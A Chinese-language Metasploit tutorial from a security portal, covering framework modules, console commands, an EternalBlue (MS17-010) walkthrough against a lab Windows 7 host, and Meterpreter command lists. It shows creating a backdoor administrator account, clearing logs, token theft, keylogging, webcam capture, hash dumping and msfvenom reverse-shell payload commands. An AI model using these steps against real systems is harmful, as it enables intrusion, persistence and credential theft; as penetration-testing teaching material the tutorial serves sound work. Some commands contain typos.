freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Metasploit
2021-11-13 23:07:08

一:初识Metasploit

Metasploit是The Metasploit Framework的简称,也可以叫做MSF! MSF高度模块化即框架由多个module组成,是全球最受欢迎的工具。

Metasploit Framework(MSF)远远不仅仅是一个漏洞的集合。这是您可以建立和利用您的自定义需求的基础架构。这使您可以专注于您独特的环境,而不必重新发明轮子。

官网地址:

https://www.metasploit.com/

项目地址:

https://github.com/rapid7/metasploit-framework/

1.1:模块介绍

模块名称

模块作用
Auxiliary负责执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能的辅助模块
Exploits利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动)
Payloads成功exploit之后,真正在目标系统执行的代码和命令。
Post后期渗透模块,在取得目标系统远程控制权后吗,进行一系列的后渗透攻击动作,如获取敏感信息,跳板攻击等操作。
Encoders对payload进行加密,躲避antiviru检查的模块。
Nops提高payload稳定性及维持大小,在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行shellcode之前添加一段空指令区,这样当触发渗透攻击后跳转执行shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化,返回地址计算偏差等原因造成的shellcode执行失败,提高渗透攻击的可靠性。

注意:msf默认存放模块目录如下,目录下的6个子文件对上面6个模块一一对应

1.2:MSF接口

接口命令接口介绍
Msfconsole命令行控制台用户界面
Armitage基于Msf的可视化高级渗透工具
Web ViewMsf网页界面,存在Mac os界面

1.3:MSF更新

apt update     //更新软件园列表

apt install metasploit-farmework

1.4:MSFDB管理

《基础操作》

msfdb init     # start and initialize the database   postgresql
msfdb reinit   # delete and reinitialize the database
msfdb delete   # delete database and stop using it
msfdb start    # start the database
msfdb stop     # stop the database
msfdb status   # check service status
msfdb run      # start the database and run msfconsole

1.5:MSF基础操作

控制台命令支持tab补全,支持外部命令的执行。

help或者?显示msfconsole可以使用的命令。 
connect可以理解为MSF中的nc命令,可以使用connect -h查看详细用法。
show

可以查看msf提供的资源。在根目录下执行的话,由于有些资源模块比较多,需要执行show命令较长的时间。

show exploits:查看可以使用的exploit。

除了exploits,还支持all,encoders,nops,payloads,auxiliary,post,options。有些选项需要用use使用一个模块后才能使用,show targets。

search

搜索模块

简单搜索:search ms17_010。

多条件搜素缩小范围:search name:mysql type:exploit platform:linux

info

查看模块信息

info <module name>

如果用use使用了一个模块,直接输入info查看。

use

search找到模块后,用use使用模块

use exploit/windows/smb/mso8_067_netapi

用use使用一个模块后,可以使用show options查看我们需要配置的选项,使用show targets选择目标主机系统,使用show payload选择payload。

set/setg设置参数,比如要渗透的主机ip,payload等 ,我们可以使用show missing查看没有设置的参数。setg是设置全局变量,避免每个模块都要输入相同参数
unset/unsetg取消设置参数和取消设置的全局变量
save设置的此参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。
check检查模块是否真的存在这个漏洞,大部分模块没有check功能
back返回msfcomsole根目录 
run/exploit

开始使用模块

exploit -j:以后台进行运行

sessions

查看当前以建立的sessions,说明已经拿到了shell

sessions -i id 可以进入一个session交互

load/unload调用外部的扫描命令,比如openvas
loadpath加载自己的模块 
route添加一条路由,比如发往某个子网的流量都通过攻陷的机器发送。

二:永恒之蓝漏洞

本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用,掌握Metaploit工具的使用,知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

其中漏洞编号为MS17-010,利用多个SMB远程代码执行漏洞,可在无交互的情况下获取系统最高权限,又为远程代码任意执行!!

2.1:针对win7系统

步骤一:使用msfconsole命令开启MSF,并使用Search命令搜索永恒之蓝漏洞模块...

search ms17_010

步骤二:使用搜索出来的第三个模块来进行探测目标是否存在永恒之蓝漏洞,并设置好以下参数进行扫描测试...

use  auxiliary/scanner/smb/smb_ms17_010       /模块调用或者使用use 3对搜索出来的模块进行调用...
set  rhost  192.168.202.131                   //设置目标地址
set  rport  445                               //设置目标端口
show options                                  //显示要设置的选项
run                                           //开始运行此模块

步骤四:攻击成功后获取一个Meterpreter会话....使用以下命令在Meterpreter会话开启目标主机的3389端口并进入到目标Shell中创建后门账号...

meterpreter>run getgui -e                        //开启目标机器远程桌面服务器
meterpreter>shell                         //进入到目标机器的CMD环境当中
C:\Windows\system32>net user zxy 123admiN@ /add                //创建后门账号
C:\Windows\system32>net localgroup administrators zxy /add     //将后门账号添加到管理员组当中
>>>rdesktop 192.168.0.19                                          //远程桌面到目标机器

三:Meterpreter

Meterpreter通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

3.1:核心命令

background – 将当前会话移动到背景
exit、quit – 终止 meterpreter 会话
help – 帮助菜单
migrate – 移动到一个指定的 PID 的活动进程
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
load– 加载其他辅助组件

3.2:文件命令

cat -读取并输出到标准输出文件的内容
cd -更改目录对受害人
del -删除文件对受害人
download-从受害者系统文件下载
edit-用 vim编辑文件
getlwd -打印本地目录
getwd -打印工作目录
lcd -更改本地目录
lpwd -打印本地目录
ls -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
upload-从攻击者的系统往受害者系统上传文件

3.3:网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发
portfwd add‐l 33333 ‐r 192.168.5.101 ‐p 3389   #将远程主机的3389端口转发到本地的3333端口
route -查看或修改受害者路由表
#在全局给指定的session增删路由
route add 192.168.11.0  255.255.255.0  1     #在session1中添加到达192.168.11.0网段的路由
route add 192.168.12.0  255.255.255.0  1     #在session1中添加到达192.168.12.0网段的路由
route add 0.0.0.0       0.0.0.0        1     #在session1中添加到达0.0.0.0/24网段的路由
route del 192.168.12.0  255.255.255.0  2     #在session2中删除到达192.168.12.0网段的路由
route print    #打印路由信息
#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24             #添加到达192.168.11.0网段的路由
run autoroute -s 192.168.12.0/24             #添加到达192.168.12.0网段的路由
run autoroute -s 0.0.0.0/0                   #添加到达0.0.0.0/0的路由

run autoroute -p                             #打印路由信息

3.4:系统命令

clearev -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getuid -获取作为运行服务器的用户
kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

3.5:用户界面命令

keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
webcam_list – 列举摄像头
webcam_snap – 抓取摄像头影像图片
webcam_stream – 抓取摄像头影像流

3.6:其他常用命令

hashdump – 抓取HASH密码(SAM文件中的值)
getsystem – 获得系统管理员权限
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
# web安全 # MSF渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者